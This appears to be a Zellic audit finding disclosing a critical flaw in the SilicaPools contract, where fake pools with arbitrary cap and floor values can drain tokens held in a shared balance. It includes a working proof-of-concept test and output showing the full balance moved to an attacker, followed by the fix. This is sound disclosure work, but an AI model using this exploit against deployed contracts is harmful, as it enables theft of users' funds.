Zellic - Audit Reports

Category: Coding Mistakes

Fake pool could drain all the pool's tokens

Critical Severity

Critical Impact

High Likelihood

Description

The startPool function in the SilicaPools contract allows anyone to create a pool with arbitrary parameters. In this case, users could set custom values for the cap, floor, and index address. These parameters determine the amount transferred to the user through redeem or order functions.

For example, the redeemShort function is used to redeem the payout token from the pool. A user could manipulate the cap and floor values to create an arbitrary payout amount with fake parameters.

Each pool shares its balance for the same payout token. This means if one of the pools that uses token A as a payout token makes a withdrawal that exceeds the balance of its own pool, it could drain the balance available to another pool using the same payout token.

function redeemShort(PoolParams calldata shortParams) public {
    bytes32 poolHash = hashPool(shortParams);
    uint256 shortTokenId = toShortTokenId(poolHash);
    uint256 shortSharesBalance = balanceOf(msg.sender, shortTokenId);

    PoolState storage sState = sPoolState[poolHash];


    uint256 relativeBalance = uint256(shortSharesBalance) / uint256(sState.sharesMinted);
    uint256 relativeAmount = uint256(shortParams.cap - shortParams.floor) * relativeBalance;

    // Short payouts pay out ((cap - balanceChangePerShare ) * collateralMinted * userShortBalance) / ((cap - floor) * totalSharesMinted)
!   uint256 payout =
        uint256(shortParams.cap - sState.balanceChangePerShare) * uint256(sState.collateralMinted) / relativeAmount;

    _burn(msg.sender, shortTokenId, shortSharesBalance);

!   SafeERC20.safeTransfer(IERC20(shortParams.payoutToken), msg.sender, payout);

    emit SilicaPools__SharesRedeemed(
        poolHash, msg.sender, shortParams.payoutToken, shortTokenId, shortSharesBalance, payout
    );
}

Impact

An attacker could drain all tokens in the contract by using a fake pool.

The following proof-of-concept script demonstrates exploitability of this issue:

// ...

contract FakeIndexer {
    function decimals() external pure returns (uint256) {
        return 0;    
    }

    function shares() external view returns (uint256) {
        return 0;
    }

    function balance() external view returns (uint256) {
        return 0;
    }
}

// ...

function testDrainPool() public {
    // 1. Start normal pool
    vm.warp(123_456_789 + 30 minutes);
    mockERC20.approve(address(silicaPools), 200e18);
    silicaPools.collateralizedMint(poolParams[0], 200e18, alice, bob);
    silicaPools.startPool(singleElementParams[0]);

    // 2. Print before state
    deal(address(mockERC20), chalie, 1);
    console.log("before pool balance: ", mockERC20.balanceOf(address(silicaPools)));
    console.log("before attacker balance: ", mockERC20.balanceOf(address(chalie)));
    uint128 target_balance = uint128(mockERC20.balanceOf(address(silicaPools)));

    // 3. Exploit using fake pool
    vm.startPrank(chalie);
    address fakeIndexer = address(new FakeIndexer());
    mockERC20.approve(address(silicaPools), 1);
    ISilicaPools.PoolParams[] memory fakePoolParams = new ISilicaPools.PoolParams[](1);
    fakePoolParams[0] = ISilicaPools.PoolParams({
            floor: target_balance,
            cap: target_balance+1,
            index: address(fakeIndexer),
            targetStartTimestamp: uint48(block.timestamp),
            targetEndTimestamp: uint48(block.timestamp + 10 days),
            payoutToken: address(mockERC20)
        });
    silicaPools.collateralizedMint(fakePoolParams[0], 1, chalie, chalie);
    silicaPools.startPool(fakePoolParams[0]);
    silicaPools.redeemShort(fakePoolParams[0]);
    vm.stopPrank();

    // 4. Print after state
    console.log("after pool balance: ", mockERC20.balanceOf(address(silicaPools)));
    console.log("after attacker balance: ", mockERC20.balanceOf(address(chalie)));
}

The following text is the result of the proof-of-concept script:

[PASS] testDrainPool() (gas: 584668)
Logs:
  before pool balance:  395501040
  before attacker balance:  1
  after pool balance:  0
  after attacker balance:  395501041

Recommendations

We recommend ensuring that each pool has its own balance for the payout token.

Remediation

This issue has been acknowledged by Alkimiya, and fixes were implemented in the following commits:

0781fb97↗